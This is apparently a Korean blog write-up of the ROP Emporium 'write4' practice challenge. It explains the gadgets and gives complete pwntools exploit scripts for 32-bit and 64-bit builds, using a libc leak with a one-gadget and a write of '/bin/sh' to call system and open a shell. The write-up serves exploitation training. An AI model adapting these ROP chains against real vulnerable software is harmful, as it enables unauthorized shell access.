# checksec
# process
mov [r14], r15 ; ret 가젯이 주어졌다.
pop rdi ; ret 가젯도 있다.
사실 one gadget으로 풀린다..
두 방법으로 풀어보겠다.
1. return address -> one gadget
1) libc leak
- one gadget 주소 구한다.
2) return address -> one gadget
2. system("/bin/sh")
1) pop r14 ; pop r15 ; ret 가젯을 사용해서 r14, r15 레지스터에 각각 &data, "/bin/sh\x00"을 넣는다.
pop r14 ; pop 15 ; ret : 0x400890
- 32bit의 경우, pop edi ; pop ebp ; ret 가젯 사용
2) mov [r14], r15 ; ret 가젯을 사용해서 data 섹션에 "/bin/sh" 문자열을 적는다. (또는 쓸 수 있는 영역에)
- 32bit의 경우, "/bin/sh" 인자를 넣을 때 writable에 "/bin"를, writable+4에 "//sh"로 나눠서 각각 넣어줘야 한다.
- 32bit의 경우, mov [edi], ebp ; ret 가젯 사용
- bss 앞에 stdin, stdout이 자리잡고 있어서 0x804a070 주소 사용했다.
3) RTL(실질적으로는 ROP)로 system("/bin/sh") 호출
- system으로 data section을 인자로 주면 system(“/bin/sh”)가 호출된다.
이 방법의 경우, libc leak을 하지 않아도 되는 장점이 있다.
# exploit code & exploit
1. 64bit
1) one gadget
#!/usr/bin/python
from pwn import *
p = process("./write4")
elf = ELF("./write4")
libc = elf.libc
p1ret = 0x400893
pay = 'A'*(0x20+0x8)
pay += p64(p1ret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(elf.symbols['pwnme'])
p.sendlineafter("> ", pay)
puts = u64(p.recv(6) + "\x00\x00")
libcBase = puts - libc.symbols['puts']
one_gadget = libcBase + 0x4526a
p.sendlineafter("> ", 'A'*(0x20+0x8) + p64(one_gadget))
p.interactive()
2) useful gadget
#!/usr/bin/python
from pwn import *
p = process("./write4")
elf = ELF("./write4")
libc = elf.libc
mov_r14_r15 = 0x400820
pop_r14_r15 = 0x400890
p1ret = 0x400893
writable = 0x601090
pay = 'A'*(0x20+0x8)
pay += p64(pop_r14_r15) + p64(writable) + "/bin/sh\x00"
pay += p64(mov_r14_r15)
pay += p64(p1ret) + p64(writable) + p64(elf.plt['system'])
p.sendlineafter("> ", pay)
p.interactive()
2. 32bit
#!/usr/bin/python
from pwn import *
p = process("./write432")
elf = ELF("./write432")
mov_edi_ebp = 0x8048670
pop_edi_ebp = 0x80486da
writable = 0x804a070
p1ret = 0x80486db
pay = 'A'*(0x28 + 0x4)
pay += p32(pop_edi_ebp) + p32(writable) + "/bin"
pay += p32(mov_edi_ebp)
pay += p32(pop_edi_ebp) + p32(writable+4) + "//sh"
pay += p32(mov_edi_ebp)
pay += p32(elf.plt['system']) + p32(p1ret) + p32(writable)
p.sendlineafter("> ", pay)
p.interactive()
[ROP Emporium] pivot (0) | 2020.04.20 |
---|---|
Limited Book (0) | 2020.03.26 |
[ROP Emporium] callme (32bit, 64bit) (0) | 2020.03.25 |
[ROP Emporium] split (32bit, 64bit) (0) | 2020.03.25 |
[ROP Emporium] ret2win (32bit, 64bit) (0) | 2020.03.25 |